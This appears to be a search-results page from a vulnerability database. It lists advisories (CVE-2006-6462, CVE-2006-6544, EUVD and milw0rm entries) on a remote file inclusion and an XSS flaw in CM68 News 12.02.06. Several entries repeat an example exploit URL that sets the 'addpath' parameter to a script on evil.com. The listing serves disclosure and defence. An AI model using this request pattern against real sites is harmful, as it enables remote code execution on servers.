14 matches found
MINI-CM68-7M7F-RX3G
Bulletin has no description...
EUVD-2006-6527
Malware in sbrugna...
CM68 News <= 12.02.06 (addpth) Remote File Inclusion Vulnerability
No description provided by source. Vulnerable Software:cm68news Vulnerable file: /engine/oldnews.inc.php Credits: Paul Bakoyiannis Vulnerable Variable: addpath Example Exploit: http://site.com/cm68news/engine/oldnews.inc.php?addpath=http://evil.com/script.txt?& milw0rm.com 2006-12-08...
CVE-2006-6544
Cross-site scripting XSS vulnerability in CM68 News allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. NOTE: The provenance of this information is unknown; the details are obtained solely from third party information...
CVE-2006-6544
Cross-site scripting XSS vulnerability in CM68 News allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. NOTE: The provenance of this information is unknown; the details are obtained solely from third party information...
CVE-2006-6544
The CVE-2006-6544 entry describes a Cross-site scripting (XSS) vulnerability in CM68 News that allows remote attackers to inject arbitrary script or HTML via unspecified vectors. Affected software is CM68 News; the exact component/file and vulnerable version(s) are not explicitly stated in the pr...
CVE-2006-6462
CVE-2006-6462 concerns CM68 News (version/date: 12.02.06) with a PHP remote file inclusion in engine/oldnews.inc.php. The underlying issue permits an attacker to execute arbitrary PHP code by supplying a URL in the addpath parameter. Public references confirm the vulnerable component and vulnerab...
EUVD-2006-6445
PHP remote file inclusion vulnerability in engine/oldnews.inc.php in CM68 News 12.02.06 allows remote attackers to execute arbitrary PHP code via a URL in the addpath parameter...
CVE-2006-6462
PHP remote file inclusion vulnerability in engine/oldnews.inc.php in CM68 News 12.02.06 allows remote attackers to execute arbitrary PHP code via a URL in the addpath parameter...
CM68 News Oldnews.Inc.PHP远程文件包含漏洞
CM68 News是一款基于PHP的WEB应用程序。 CM68 News不充分过滤用户提交的URI输入，远程攻击者可以利用漏洞以WEB进程权限执行任意指令。 问题是'Oldnews.Inc.PHP'脚本对用户提交的'addpath'参数缺少过滤，指定远程服务器上的任意文件作为包含对象，可导致以进程权限执行任意指令。 CM68 News 12.02.06 http://www.cm68.de/ http://www.example.com/engine/oldnews.inc.php?addpath=http://www.example2.com...
CM68 News <= 12.02.06 (addpth) Remote File Inclusion Vulnerability
Vulnerable Software:cm68news Vulnerable file: /engine/oldnews.inc.php Credits: Paul Bakoyiannis Vulnerable Variable: addpath Example Exploit: http://site.com/cm68news/engine/oldnews.inc.php?addpath=http://evil.com/script.txt?& milw0rm.com 2006-12-08...
CM68 News <= 12.02.06 (addpth) Remote File Inclusion Vulnerability
No description provided by source. Vulnerable Software:cm68news Vulnerable file: /engine/oldnews.inc.php Credits: Paul Bakoyiannis Vulnerable Variable: addpath Example Exploit: http://site.com/cm68news/engine/oldnews.inc.php?addpath=http://evil.com/script.txt?&...
CM68 News 12.02.06 - addpth Remote File Inclusion
CM68 News 12.02.06 - addpth Remote File Inclusion Vulnerable Software:cm68news Vulnerable file: /engine/oldnews.inc.php Credits: Paul Bakoyiannis Vulnerable Variable: addpath Example Exploit: http://site.com/cm68news/engine/oldnews.inc.php?addpath=http://evil.com/script.txt?& milw0rm.com 2006-12-...
CM68 News 12.02.06 - 'addpth' Remote File Inclusion
Vulnerable Software:cm68news Vulnerable file: /engine/oldnews.inc.php Credits: Paul Bakoyiannis Vulnerable Variable: addpath Example Exploit: http://site.com/cm68news/engine/oldnews.inc.php?addpath=http://evil.com/script.txt?& milw0rm.com 2006-12-08...